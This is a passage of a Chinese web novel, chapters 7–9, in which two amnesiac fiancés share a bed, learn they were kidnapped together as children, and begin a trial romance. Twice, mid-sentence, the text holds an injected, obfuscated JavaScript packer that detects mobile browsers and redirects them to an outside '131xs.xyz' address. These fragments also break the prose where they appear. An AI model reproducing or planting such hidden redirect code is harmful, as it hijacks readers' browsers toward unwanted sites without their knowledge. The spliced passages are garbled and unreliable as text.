祁言看夏时眉眼又活络了起来,比方才那副惨白灰败的样子可好太多了,虽然人在生病脆弱的时候惹人怜,但祁言还是喜欢夏时元气满满的模样。 祁言摊开自己的五指给他看:“我现在确定,跟你的肢体接触不会给我带来任何不适。” 夏时按着额头的手停住。 “所以你不用担心,只管睡这儿,我床铺够宽,”祁言巧妙地把夏时的话还了回去,“我们是纯洁的男男关系,睡一起又怎么了?” 夏时呆了呆,他放下手,看了看自己手心,又看了看祁言。 然后他的唇角微微扯动,又迅速被自己咬住了—— 对不起,但是……噗,原来听别人一本正经说出“纯洁男男关系”是会觉得有点好笑的啊。 祁言三两句话,比满屋亮堂的灯光更管用,终于把夏时从黑暗深处拉了回来。 他的心悸被祁言彻底驱散了,先前喘不上气的恐惧好像已经非常遥远,成了黑夜里的恍惚,他身上裹着的不仅是被子,还是安心。 祁言真的很会哄人。 他应该很受欢迎吧,夏时肩膀完全放松下来,心想,就算没有他,祁言应该也不愁找不到恋人。 祁言见他没拒绝,就道:“我去给你把枕头拿过来。” 夏时噌地一下起身,跟踩了尾巴的猫似的:“我我我我自己去!” 不对,等等,我还没决定要睡一起呢! 在拖鞋哒哒的声响里,夏时欲哭无泪,他的腿怎么有自己的想法,这么快就跑了出来,要不,他还是回头告诉祁言没事了,咱俩还是各睡各的吧。 他真的不想给别人添麻烦。 但祁言捏着他的手时的确没有排斥。 祁言的手很暖。 他的被子也很舒服。 夏时盯着自己卧室里同样松软合适的床铺,踌躇不定。 两分钟后—— 夏时抱着自己的枕头,出现在祁言卧室里。 回过神来夏时就在祁言床上了,他默默盯着天花板,别问,问就是腿有自己的想法,他控制不住,真的。 夏时在空调舒爽的凉风里把被子拉高了一点点。 谁让祁言的被窝好像真的比他的更舒服呢。 舒服得夏时昏昏欲睡,慢慢阖上了眼。 7. 第七章 夏时刚躺下的时候,其实浑身僵硬,一来在他剩下的记忆里,自己没什么跟人同住的经验,有点不习惯;二来祁言手臂还伤着一条,他怕自己不小心碰着人家,来个伤上加伤。 但好在祁言的床的确够大,而夏时也是个睡觉很安分的人。 预想中的尴尬没有出现,夏时折腾一通也是真累了,没一会儿就眼皮打架,被安心与舒适包裹着,慢慢沉入了梦乡。 这一回黑暗被驯服得人畜无害,没有再来打扰,如果要问原因,大概是祁言留了一盏阅读灯。 祁言听到旁边没什么动静,只余绵长的呼吸后,偏头轻轻看了一眼。 ——只看到一个发丝软乎乎的后脑勺。 祁言失笑。 但只笑了一下,他的嘴角就拉平了。 在医院的时候,他们晚上拉了窗帘,也没什么光亮,但那会儿夏时也睡得很好,起码没有半夜惊动过祁言。 怎么回了屋就不行了?是一定要有光亮,还是旁边有人陪着他睡就行? 这种变量只能通过验证来确定结论。 祁言到底没把柜底那排夜灯拿出来用,阅读灯的光调到了最弱,晦暗不明,相机也被收了起来,夏时今晚神思不属,根本没注意到相机的存在。 祁言明明说好了不熬夜,结果要不是夏时来敲门,他指不定得抱着相机看到什么时候。 他们现在的关系看似平衡,实际上不过是两人对最大的问题视而不见,假装不存在。 那就是把他俩系在一块儿的婚约。 这样的平衡能维持多久? 大晚上的,干想也想不出所以然,祁言收回视线,算了,先睡吧,有什么都明天再说。 夏时在他身边睡得安安稳稳。 睡得太舒服了,意识在柔软的云层里飘着飘着,飘进了一扇窗户里。 夏时做了一个梦。 梦中他坐在窗明几净的教室里,低着头,笔尖刷刷摁过桌面,高中生的夏时正在聚精会神地刷题。 不像考试,但隔壁桌也有同样哒哒写字的声音,那节奏几乎跟他同步,夏时很想扭头去看,但梦境里的他非常专注,奋笔疾书,生怕被谁赶上似的。 旁边依稀有同学们压低的说话声。 “午休快结束了,你赌谁赢?” “不赌,他俩每次比赛,不到最后一刻难下定论,我可不想输得裤衩子都没了。” “话说他们保送都稳了,干嘛还要比赛刷题,是天生爱卷吗?” “学神的世界你别猜。” 在依稀不清的窃窃私语里,夏时搁下笔,一按桌边手机时间,猛地偏头:“是我赢了。” 他终于能看看旁边跟他一起刷题的人是谁,然后……夏时看到了一张糊了马赛克的脸。 夏时:“……” 不是,他记忆还能不能好了! 马赛克同学几乎跟他同时停笔,把手机拿起来一晃,两人的时间一模一样,他翘起一点儿椅子腿,带着懒洋洋的口吻:“谁说你赢了。” 旁边的同学们声音大了些:“哇,平局!” 还有人说:“不是还没对答案吗?” 夏时却已经开始收拾卷子了,一看两人时间相同,他就没了兴趣:“这种题型都刷过多少遍了,还能做错?” 这话有两层意思,一是他很自信,觉得自己不可能做错,第二层就更有意思了,那就是夏时居然也无条件信任马赛克同学,认为他没道理犯低级错误。 更更微妙的是,马赛克同学居然也没非得拉着夏时对答案,他把桌子收拾好后起身:“说好输家请客,平局不算我赢,喝什么,我去买。” 夏时眼睛一亮:“冰淇淋!” “问你喝什么……肠胃不行的人吃什么冰淇淋,忍着。” 夏时也起身:“照你的说法,我也该请客,又不是输不起,咖啡是吧,少爷赏你了,冰淇淋我自己买。” “买什么买,馋猫转世啊你?” “我想买就买,要你管。” 两人斗着嘴肩挤肩挤出了教室,扔下后边同学们的声音:“喂!都说午休快结束了,这时候出去不怕迟到啊!” 他俩还真不怕。 夏时最终还是如愿以偿得到了一盒冰淇淋,马赛克同学买的。 而马赛克同学也得到一杯加冰咖啡,夏时付款。 他俩不出意料地迟到了,里头上着课,他们就在门口罚站,喝咖啡的喝咖啡,吃冰淇淋的吃冰淇淋。 罚站得非常嚣张。 实际上老师根本舍不得罚他们,班里有些保送的同学课都可以不来上了,他们迟到啊带手机之类的都不是问题,是夏时和马赛克同学自己非要站教室门口。 隔着门和墙,教室里的声音蒙了一层,走廊上空空荡荡,一眼望过去,只有他们两个。 走廊尽头树影的枝丫倒映在地面,婆娑摇曳,两人安安静静,半天无话,直到马赛克同学喝完咖啡后探头凑过来:“说好只准吃一半啊,别到时候难受。” 夏时又擓了一勺放进嘴里:“我又不会跟自己身体过不去,喏,还剩一半。” 马赛克同学非常顺手地接过来,居然半点不嫌弃勺子是夏时用过的,舀起冰淇淋就往嘴里放,解决掉了剩下的半盒冰淇淋。 整个过程他俩的动作都非常自然,好像他们已经这样做过无数次,熟悉得不能再熟悉。 梦里的夏时不知为什么,看着马赛克同学咽下冰淇淋的动作,心口怦然一跳。 树影晃动得更厉害了,走廊吹来一阵暖洋洋的风,风拂过夏时的发丝,连风中都是冰淇淋的清甜。 一个再寻常不过的午后,要是这样的时间能无限拉长就好了,要是……以后每一天都是这样就好了。 夏时意识到了自己在做梦,他忽然很想很想,强烈地想看清身边这个人。 你是谁呢,你现在到底是什么表情呢? 你……也跟我一样,沉浸在这段时光中吗? 梦境中的夏时迫切地睁大眼,而梦境外,夏时的手指微微动了动。 窗外的天光已经大亮,令人手忙脚乱的夜晚已经过去了,祁言已经先一步醒了,他还没起,摸过床头的手机。 八点,对暑假里的大学生来说还早,祁言已经看到了爸妈发来了晨间问候,他们刚出院,父母不够放心,联系得勤。 祁言本来就打算今天找父母问些事儿,既然二老已经醒了,他正好把消息发过去。 『对了爸妈,你们了解夏时的喜好吗,能不能说给我听听』 『以及,他是有怕黑或者类似惊恐症方面的病症吗?』 消息发在祁家小家庭群里,祁言刚发出去,那边爸妈的语音就你一言我一句很快过来了。 祁言开了听筒模式,调了音量放在耳边听,以免打扰到夏时睡觉。 他先是听到了夏时的各种爱好,自家爸妈对此如数家珍,可见他们是真的很喜欢夏时,紧接着,他听到了另一个问题的答案。 “怎么问起病症,是出了什么事吗?小夏以前是有过幽闭恐惧症,而且症状很多,不仅怕狭窄的地方,还怕黑,但如果有光或者有人陪着,他情况就会好不少,可是他已经痊愈了啊?” 因为已经痊愈了很多年,所以无论是夏家父母还是祁家父母都以为事情已经结束了,就没提起,谁也没想到,一次失忆居然还能害得夏时旧病复发。 祁言立刻打字问:“他为什么会患上幽闭恐惧症?” 临床中,该病症产生的原因大多来自外部,比如成长经历、创伤等,夏时那样一看就是被捧在手心长大的,是遇上了什么事,才会对他造成这么大的伤害? 父母发来的语音里夹杂了叹息,以及一点儿不愿再揭儿子伤疤的小心翼翼。 “儿子,你还记得……你十岁时被绑架过吗?” 祁言握着手机的手一紧,他眼神冷了下来,他记得,虽然现在脑子出了问题想不起绑匪的脸,但其余事他都记得清清楚楚,那真是一段相当糟糕的经历,对他的性格和人生也产生了很大的影响。 不过这跟夏时有什么关系? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519508|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当时你跟夏时一起被绑架,他就是那次之后留下的创伤后遗症啊。” 祁言愣住了。 ……什么? 夏时跟他一起被绑架了? 可在祁言的记忆里,分明只有他自己一个人—— 祁言愣愣偏头,看向睡得安安稳稳的夏时。 所以,在那段几乎要把人逼疯的记忆里,他其实并不是一个人独自承受孤独和恐慌,当谩骂和殴打来袭,当被困在暗无天日的地方心生绝望时,他的身边,一直还有另一个人陪着他一起吗? 夏时也忍受了那样的痛苦吗? 祁言只觉得心脏和肋骨都忽然疼痛起来。 他十岁时被绑架,绑匪要钱,没想要他的命,大多数时间只是把他关起来丢着不管,到点就硬塞点面包和水避免饿死,小部分时间跟疯子似的乱发脾气,谩骂、殴打,折磨一个还不了手的孩子。 严格意义上来说,手臂被打出瘀血、脸被揍得青紫都只能算皮外伤,最痛的肋骨当时也没断过,在医学鉴定上都不严重。 但长时间的害怕恐惧、身处危险环境的惊惶,再加上身体上的疼痛,所有东西算在一块儿,对孩童心理上造成的伤害是不可估量的。 祁言本来以为,那些都是他一个人挨过来的。 现在父母告诉他,不是的。 有人真正与你感同身受,甚至那时候,你们或许是互相扶持着过来的。 他脑海里浮现出了非常模糊的,两个小孩儿依偎在一起的画面,好像那时候,真的有颗毛茸茸的脑袋跟他靠在一起,瑟瑟发抖蜷缩着。 光怪陆离的幻影,像梦,祁言有点分不清这究竟是自己失去的记忆,还是臆想。 【……别怕,我们会没事的】 这句话是他说的,还是夏时说的? 想不起来。 祁言深呼吸,隐隐有些焦躁。 他抬起左手挡住眼,半天没再有动静。 一旁的被子动了动,是终于睡饱的夏时揉了揉眼,悠悠转醒。 他迷迷瞪瞪睁开眼,还有点恍惚,或许是因为梦里的场景太让人怀念,他一半的脑子还在回味,有点不知今夕何夕。 马赛克同学的音色出了梦境想不起来了,但那人的姿态和动作……跟祁言还真挺像。 就是马赛克同学偶尔好像有那么一点点欠揍,他认识的祁言体贴又温柔,完全想象不出他跟自己斗嘴的模样。 过去的记忆还是太少了,这么点儿片段可能还有误吧。 祁言俩字触发了关键词,夏时终于完全清醒,想起了昨晚发生的事。 深更半夜,他由于不知名的惊恐,神智慌乱,走投无路间居然闯到了祁言房间,不仅让人看到了自己惨兮兮的一面,还占了人家的床。 夏时:“……” 啊啊啊! 丢人! 睡饱了的夏时不惊了,不恐了,但更慌了。 他蜷起身体,往被窝里缩了缩,而后悄悄转身,想看看祁言醒没醒,这一转身,就跟祁言来了个眼对眼。 祁言目光清明,显然早就醒了,冲他一笑:“早啊,睡得怎么样?” “……早。”夏时用被子埋了半张脸,就剩眼睛露在外面,声如蚊讷,“昨晚谢谢了。” 他一边说着,还一边不断往被子里滑,把自己整个团成了圆滚滚一团,祁言看着看着,没忍住笑出了声。 他一笑,夏时就越觉得昨晚的自己丢人得要命,恨不得用枕头拍死自己算了。 祁言伸出手指,戳了戳圆团子,他先前眼中的复杂与沉思都消失不见,取而代之的是一种想通后的潇洒和轻松。 如果他和夏时短暂的平衡关系迟早得打破,那么不如主动拿出解决方案,尽量避免他们两人在这段关系中受伤。 祁言:“别埋了,不闷吗,出来我们谈谈。” 夏时冒出了一点点脑袋,声音还闷在被子里:“谈什么?” “我有个提议,”祁言说,“不如试试看,我们到底能不能重新谈恋爱?” 8. 第八章 谈恋爱!? 祁言的劲爆发言成功把夏时的脑袋从被子里吓了出来。 有那么一瞬间他以为自己听错了。 恋爱?试试他们能不能谈恋爱? 什么意思,怎么试,怎么爱,而且为什么突然—— 等等。 过度的震惊还没全部消退,夏时的大脑已经开始飞速运转。 稍微一想,祁言的提议好像不是没道理啊。 你看,他们虽然失忆了,但依然顶着夏家和祁家的婚约,还住在一起,关系剪不断理还乱,与其磨磨蹭蹭逃避问题,确实不如快刀斩乱麻。 主动试试他们能不能谈恋爱,能,那皆大欢喜;不能,就和平分手,以后只做朋友,干干脆脆,也给大家留了体面。 也不是不行。 夏时冷静了,他完全从被子里探出头,呼吸新鲜空气,迅速跟上祁言思路:“时限呢?” 如果一直喜欢不上对方,他们总不可能拉扯到天荒地老。 祁言:“只要我们任何一人觉得不行,说出来,就到此为止,如何?” 夏时略一思索,点头:“合理。” 夏时从震惊中放松下来,他眨了眨眼,窗帘缝隙透入丝丝缕缕的光,铺在祁言脸上,光与阴影都恰到好处,愈发体现他完美的骨相,深邃好看,夏时瞧见这张清晰的俊脸,又想起梦里模模糊糊的马赛克同学。 记忆片段太短了,很难下定义,也不知道是不是回忆滤镜太重,唯有心口砰砰直跳的悸动,连醒了都还勾在心尖,又苏又软,让人舍不得放开。 夏时微微捏紧了被子:“即便以后我们做不成恋人,也可以当朋友,对吧?” 祁言承诺:“当然。” 夏时又说:“取消婚约得跟父母说,到时候别墅我们可以……” “等等,”祁言哭笑不得喊停,他侧过身,用完好的左手撑着脸颊,扬了扬眉,“为什么全是以恋爱失败为前提,我看起来就这么没吸引力?” 夏时看了看祁言的脸,又不可遏制想到了他傲人的身材,轻咳一声:“不是,我只是先做好最坏的打算。” “噢,”祁言很会抓重点,“你没否认我的吸引力。” “……”夏时又想缩回被子里了。 在招架不住祁言的话题之前,夏时赶紧切到正经频道:“具体怎么试,你我都没有谈恋爱的记忆。” “确实,”祁言点头,“不过恋爱嘛,一般都是从约会开始?” 很好,他们的计划终于有了具体的实施方案,第一步就是约会。 在这之前,他们首先要做的是:起床。 反正祁言说了不排斥自己触碰,加上他们都要试着谈恋爱了,又从同一张床上醒来,夏时当然要继续帮祁言固定手臂。 这次祁言也没再推辞。 祁言的确不介意夏时伸出援手,但是吧,可能是他先前没有仔细瞧,又或许是心境有所改变,他今天一看,很快发现不对劲。 夏时帮他的时候,小心得跟对待保护动物似的,生怕他一碰就碎,眼神更是有问题。 不像看朋友,也绝对不是看恋人,更像是在关怀什么柔弱不能自理的大可怜。 祁言:? 祁言疑惑,祁言不解,他一个一米八三的大高个儿,胸肌腹肌样样不缺,究竟哪里能跟“柔弱”联系在一起? 他只是一条手臂暂时受了点轻伤,划重点,轻、伤。 祁言被夏时眼神看得浑身不得劲,他不想辜负夏时帮他的好意,所以忍了忍。 忍了忍,忍了忍,在夏时的手又一次跟轻飘飘擦过绷带的时候,祁言终于忍不住开了口。 “小同学。”祁言觉得有必要树立自己的正确形象,“你不用这么小心翼翼,我真不是什么用点力就碎的陶瓷。” 夏时手上力道依然很慎重:“嗯嗯!” 三岁小孩儿都听得出来他没信。 祁言自认很随性,也不是什么争强好胜的人,但他好像轻易被夏时的态度勾出了自尊心,难得为自己继续辩白:“真的,别看我现在只有左手能动,但真不脆。” 夏时点头:“嗯嗯!” “我单手把你抱起来都没问题。” 夏时:“嗯……嗯??” 不兑! 这话一出,两人都是一顿。 夏时:“。” 祁言:……不是,一个“小宝贝”的教训还没吃够吗,这嘴为什么又快了? 祁言深吸一口气,在他试图补救之前,夏时却先一步开口了。 夏时似乎在试图理解什么,他迟疑着观察祁言:“你……是觉得试恋爱关系已经开始,所以在试着对我说情话?” 祁言:“……” “嗯,”他一本正经点头,“对。” 总不能承认自己不小心浪上了。 夏时微微睁大眼,手指动了动,顶着祁言正人君子的神情,不自在地往后挪了挪。 “哦,咳……那什么,”他直起身,有点局促,视线乱飘,“我不太会说情话,但你放心,我也会学,争取尽快赶上你。” 祁言听在耳里,觉得不存在的良心好像有点痛。 “还有就是,”夏时耳根热了热,“你情话讲得挺好,但刚才那句太突然了,吓我一跳,我们节奏能不能稍微慢点,我好适应一下。” 他乌黑细密的睫羽轻轻一抬,扑闪着阳光的桃花眼悄悄看了祁言一眼,又飞速移开视线。 小同学就这么站在你面前,努力克制自己的表情,装作游刃有余,但他不知道,自己那发红的耳根把自己出卖得有多明显,扑闪的桃花眼又有……多漂亮。 祁言“。” 直面夏时那一眼的他知道。 祁言听到自己心脏一跳。 他飞快把眸子一压,忽然用极其冷静地语调平铺直叙:“如果我说情话前先跟你打个招呼,能帮助你快速适应吗?” 夏时没反应过来:“什么?” “我的意思是我还有情话想说。”祁言倏地抬眼,“我想说你——” “不是,等一下等一下!”夏时终于明白祁言想干什么,猛地撒手拉开距离,“不能!还适应不了!” 夏时表示我不听,强行打断祁言施法,光速逃离:“都说了需要时间,总之,衣服换好了,你收拾,我先回房间了!” 卧室门被某人匆匆关上,祁言目送某人落荒而逃的背影,视线凝固在门板上,原地一动不动坐了两秒后,抬手猛地捂住眼。 不好,刚刚夏时那明明羞红了耳朵却还要努力绷出若无其事的模样实在是—— 正中祁言心头! 戳得祁言不要不要的。 这么可爱的人居然是真实存在的,你敢信? 祁言深呼吸,觉得自己耳朵都快跟着热了。 他把手移到了心口的位置。 “砰、砰。”心跳频率不正常。 理智告诉祁言,夏时看多了,对心脏不好。 但多巴胺说,好看你就多看点。 祁言决定理性地遵从多巴胺的建议。 他弯弯嘴角,愉悦地注视着门口方向:这么有趣的人就在身边,傻子才不看。 * 夏时洗漱完,在二楼探了个头侦查情况,发现祁言已经坐在客厅了。 他放在栏杆上的手指紧了紧,而后装作若无其事下楼,跟祁言坐一桌。 好像先前逃跑那个不是他。 他们两个有这点好,体面,不会延续对方的尴尬,会默契地翻篇,心照不宣。 早饭用不着外卖,家里牛奶面包和配酱、火腿肉干什么的全都有,凑一顿早饭不是问题,在饭桌上,祁言说了夏时幽闭恐惧症的事。 夏时听得一愣一愣:我还有幽闭恐惧症呢? 他忘得一干二净。 明明是失忆,但居然把已经治好的心理疾病翻了出来,脑子的构造也太玄乎了。 以及,他记得被绑架的事,起因结果都很清晰,只是中间被关的记忆已经十分模糊,那绝不是什么愉快经历,每一秒都像一个世纪般漫长,令人煎熬难耐。 不过和祁言一样,夏时也以为自己是独身一人。 可原来连那种最痛苦不堪的时候,都有人陪在他身边吗? 他总算是知道小夜灯拿来干嘛的了。 是拿来给他驱散黑暗的。 所以那一盒被他藏起来的银杏叶和小夜灯,真是祁言送的? 夏时咬着面包边儿瞧了瞧祁言,就算他现在问祁言,祁言也未必记得。 怎么就失忆了呢?夏时嚼啊嚼,忽觉不是滋味。 那些过往可能非常珍贵,跟那些礼物一样,他没准一直好好收着,结果说没就没了。 夏时藏起了那点失落,打起精神:“懂了,看来之后晚上我需要开着灯睡。” 可依赖点灯治标不治本,他能治好第一次,就能治好第二次,他之前是怎么痊愈的,得问问爸妈,看看能不能如法炮制。 祁言想说,如果有需要,夏时其实可以继续跟他一起睡。 但介于他们已经准备试着谈恋爱,再也不是纯洁的男男关系了,时候不同,眼下再邀请人家一块儿睡觉,就显得别有所图,不太正派,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519509|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以祁言没有开口。 他今天已经浪过一遭了,再浪,当心小同学被直接吓跑。 “中午我们出去吃吧,”祁言报了个餐厅名,“就他家,如何?” 这家餐厅不便宜,好在无论菜品还是服务都没得挑,对得起它的价格,一般需要提前半个月预约,但祁言和夏时都是他们家顶级客户,当天打个电话,只要有位就一定招待。 夏时:“好啊。” “这算约会吗?”他问。 祁言擦嘴的手停了停。 “不算,”还没规划还没好好安排怎么能算约会呢?祁言笃定,“只是吃饭。” 夏时:“行。” 两人达成共识,这次不是约会,就是单纯出门找个地方解决午饭。 夏时一头扎进自己衣帽间,挑衣服的时候想,普普通通吃个饭而已,简单穿穿就好,嗯……不行,这套好像有点素。 他拎起第二套,左看右看,是不是休闲过了头?再换再换。 第三套、第四套…… 吃饭,而已。 夏时穿什么都好看,衣服又多,平时穿衣服基本一眼就能挑中想穿的,所以,今天为什么面前衣服越铺越多,还哪儿哪儿都觉得不满意? 夏时看着镜子里自己的打扮,貌似随意但实际每一根发丝弧度都精心打理过的头发,狼尾恰到好处衬在脖颈处,黑白分明;跟夏天很配的一款蓝白渐变衫,再配上一条换了五六回的项链。 十九岁的少年帅得非常青春。 嗯,凑活就这套吧,夏时终于停手了。 反正又不是约会,够看了。 他手机屏幕亮了亮,弹出消息,夏时立刻摸过来查看。 是他早上发给父母的消息得到了回复,他昨天不是决定要好好了解祁言吗,问爸妈果然没错,这不,发来了一长串语音。 夏时直接语音转文字,复制粘贴记在笔记本里,细细罗列一二三,免得自己会忘。 做完这些,他才问起幽闭恐惧症。 为了避免父母担心,他用闲聊的口吻,说是翻到了自己以前写的东西,发现还有幽闭恐惧症这码事,就“顺便”一问,当时是怎么好的。 爸妈语音又叮叮过来了。 『那段时间你难受,我们看着也难受,明明陪着你,却也不能帮你分担,虽然已经过去了,但一想还是……唉』 从他们的口吻里不难听出惆怅,心理上的病不好治,有时候父母拼尽全力,也未必有效。 爸妈当时陪着自己肯定也很辛苦,夏时听得鼻尖发酸,所以他是靠爸妈撑着,还是哪位可靠的心理医生,这才能渡过难关? 语音自动往下一播,新的声音传进夏时耳中。 『儿子,你当时的恐惧症能好,还是多亏了小祁啊!』 夏时愣住。 不是靠亲情,也不是医生发力,而是靠着跟着差不多大的小孩儿? 真的假的。 这么算来,祁言至少已经救了自己两次,还次次都是大事。 如果真是祁言帮了他,如今祁言失忆了,大概率是没法跟当初那样治愈自己的病症了,但比起这个,夏时有更在意的东西,那就是: 他托祁言的福治好了幽闭恐惧症,那祁言呢,绑架给他带来的伤害,他又是怎么度过的? 自己有……帮到过他吗? 夏时死死抿住了唇,他突然很想很想找回记忆。 可这并不由他自己控制。 往事的担子一下变得更重了,沉沉压过来,这要是换个人来,没准就伤春悲秋,但夏时不同。 他也会伤感,可绝不会一味沉浸在其中无法自拔,与其空想不如行动,尽人事之后才是听天命。 夏时深深吸气,将面上的阴霾一扫而空,他抬头看着镜子,调整表情:他才不要顶着满脸颓丧去见祁言,那多扫兴。 不管以前帮没帮上,从现在开始好好对祁言也来得及。 欠的人情还不完,那也要能还一点是一点。 夏时飞速自我调节,拉着项链调整了下吊坠位置,眸光炯炯,斗志满满:在这段暧昧期里,他必须让祁言享受到白月光级别的待遇! 你问什么才算白月光待遇,夏时也不懂,但什么都按照最好的来总没错。 还有,跟恋爱相关的事他可以学,今天就学,从文献资料到实践视频系统又全面地学! 等着吧祁言,不会让你失望的! 隔壁正在自己衣帽间选衣服的祁言莫名其妙打了个喷嚏。 祁言:“阿嚏!” 谁在背后念叨我,怎么有种不太妙的感觉? 9. 第九章 夏时在衣帽间,最后整理了下今天的着装。 明明说好就这套凑合着看,结果临出门前他又往手腕上加了条黑色皮质手环。 并不觉得自己在精心打扮的夏时勉强满意了。 夏时在短时间内已经飞快整理好了思路,幽闭恐惧症的事他会自己想办法,不会再去麻烦祁言。 他摸出手机看时间,意外发现自己居然在衣帽间里花了快两个小时,这绝对要破纪录了! 夏时赶紧推门而出,结果一抬头,碰巧撞见了也刚从自己衣帽间出来的祁言。 祁言一手还在勾着衣领,显然也是刚打扮完,对视的瞬间,两人都愣是被对方硬控了五秒。 夏时皮肤本来就白,清新的蓝配在他身上,更让人眼前一亮,像灼热夏日闯入的凉爽,而那段被银色项链勾住的脖颈,雪白细腻,被黑色的发丝半遮半掩,晃得人根本挪不开眼。 好像咬一口,就能尝到棉花糖的甜味儿。 祁言则精挑细选了一件咖色衬衫,里面搭了黑色内衬,巧妙地介于成熟和青涩之间,跟十九岁的年纪格外搭配,宽肩窄腰,帅得十分利落,笔直挺阔的裤子顺出他一双大长腿,佻达和可靠两种特质在他身上融合得格外完美。 好看的人各有各的优势,但共同之处就是,养眼,太养眼了。 夏时和祁言都觉得多看对方两眼,对自己眼睛特别好。 但一直杵在门口眼对眼不是个事儿,祁言迅速放下整理衣领的手,假装自己并不在乎打扮,帅是因为浑然天成,自然地开口:“我们差不多可以出门了?” 夏时也回过神:“嗯。” 他下楼的时候,勾了勾自己手腕上的皮质手链——祁言的左手上也有一根,同样的黑色,款式虽然不同,但属于一个牌子,乍一看,还挺像情侣款。 也不知道祁言单手是怎么把手链磨蹭到手腕上的。 还有那么巧,他们都在今天挑了这一根,简直心有灵犀。 某些情侣在买东西时,碰上没有情侣款的东西,也会挑相似的物品凑出一对,他俩的手链……不会也是从前故意买成相似的吧? 夏时先前没往这方面想过,还觉得自己房间没什么祁言的痕迹,可现在一看,保不齐很多东西都是隐藏情侣款! 那岂不是处处都是他不知道的细节。 手腕上的项链贴着皮肤,莫名格外有存在感了起来。 别墅的车库里有车,没有配司机,他们出门有时会自己开车,但今天夏时想喝点白葡萄酒,祁言手不方便,所以他们是叫的车去饭店。 饭店提前接到了祁言的电话,一到门口就有人来迎,领着他俩去了绝佳的包间位置。 明亮的落地窗外绿植幽幽,还正对着个清澈的湖泊,各色锦鲤甩着尾巴游曳,风景宜人,也不会被阳光直射,是足够让客人满意的安排。 夏时和祁言落座后,两本菜单递到了他们手里。 菜单上的菜名很长,但管你多花里胡哨,点单的人从来都只念关键词,夏时抬眼扫过去,先掠过了自己喜欢吃的菜,点了一道:“脆椒鲍鱼。” 祁言的声音几乎同时响起:“芝士焗澳龙。” 夏时心头一动,从菜单里抬头,看向祁言——他们点的都是对方喜欢的菜。 看来祁言真的找父母摸清过他的喜好了,夏时心想,还好他今早及时补课,派上了用场。 小同学也知道自己的口味啊,祁言眉梢舒展,翻过菜单:“薄荷脆炸小黄鱼。” 夏时紧跟其上:“脆皮乳鸽。” 给他俩服务的人飞速在平板上点单,而还没离开的经理站在一边,忍不住悄悄看向两人,眼神里藏着疑惑。 像夏时和祁言这个级别的会员来用餐,经理是一定要亲自招待的,既然是常照顾的熟客,经理当然也记得他俩的喜好。 他们今天互换角色了?这点的不都是对方偏爱的口味吗? 经理满头问号,但没敢吭声。 毕竟他是见识过这两位少爷阴阳怪气互相拌嘴的激烈程度的,空气里全是他俩擦出的火星,周围的人一开始都战战兢兢,生怕他俩真把火花点炸,做好了随时劝架的准备。 但很快他们就发现,这两位怼起来,根本没有旁人能插话的空间,而且这次吵完,下次来的时候他们还是两个人,还是如出一辙的嘴上不留情。 明明他们对服务员都彬彬有礼教养十足,一旦跟对方碰上,瞬间就是战斗模式。 经理大为惊奇,互相看不顺眼到这种地步,吃完一次,居然还能结伴来第二次第三次? 更令他震撼的还在后头。 这两位成了未婚情侣! 经理左思右想,觉得自己明白了:多半又是商业联姻家庭命令,他们反抗不了家族,只能拿对方开涮。 有钱人的世界真复杂。 夏时和祁言来的次数多了,经理也就习惯了,今天还没听到他俩开怼,居然还有点不适应。 夏时和祁言点完东西,祁言阖上菜单:“方才我点的,都上给对面那位。” 夏时:“我点的也都给他。” 经理:嘶,两位今天玩的又是哪一出,光拌嘴已经不尽兴了吗,但点对方喜欢吃的东西,也没法给对方添堵啊? 他亲自拿过餐前酒,弯腰倒酒的时候,听到夏时笑着说:“谢啦,都是我爱吃的。” 祁言语气也温和得不行:“不客气,你不也挑了我喜欢的?” 经理:!? 两人的和颜悦色吓得经理大惊失色,倒酒的手差点一抖,几乎拿出了自己毕生职业功力,才堪堪稳住了酒瓶,保住了自己职业生涯。 太阳从西边出来了!?这还是夏时和祁言吗?? 还是说这又是他们之间的什么博弈? 有钱人的世界果然复杂! 经理内心再动摇,面上也保持着职业微笑,他放好酒瓶,和服务员一起退了出去,直到出了包间走出老远,这位经常服务夏时祁言的服务生才神情激动道:“经理你看见了吗,他们俩!” 经理满脸严肃:“我看见了。” 服务员使劲捏着平板:“我知道,又是小情侣间新的play的一环——” 经理:“必定是他们家族的又一场博弈——” 两人话说一半,戛然而止,面面相觑。 服务员:? 经理:? “不是,你一天脑子里想什么呢?”经理不可思议,“他俩典型的豪门怨侣,被家族利益强行绑定在一块儿的,普什么雷,以后别恩怨升级搞得双方普法就谢天谢地了。” 服务员没敢说经理不懂,他嘟囔一声:“但我一直觉得他俩相处模式其实很有意思,你看争锋相对成那样也没舍得分开,这不就是真爱?没准拌嘴也是他俩的情趣呢。” 经理一拍他脑门儿:“你就是心思单纯,我跟你讲,豪门水深着呢,你不懂。行了快去干活,别八卦了!” “对了,”经理想到什么,“记得跟‘湖光山色’包厢的服务生通气,尽量避免夏祁两位待会儿跟何家那位小祖宗撞上,他们要是离开的时间看着差不多,就给某个包厢额外送上甜品酒水或者茶之类的,拖一拖。” 服务员:“明白!” 经理口中的“小祖宗”是何家的独子何小鸣。 何家家大业大,就是对孩子教育路子不对,过于溺爱,养出了何小鸣这么个不学无术衣冠禽兽的二世祖,典型的混不吝狗脾气,从小到大没少闯出过烂摊子,家里不得不追着擦屁股。 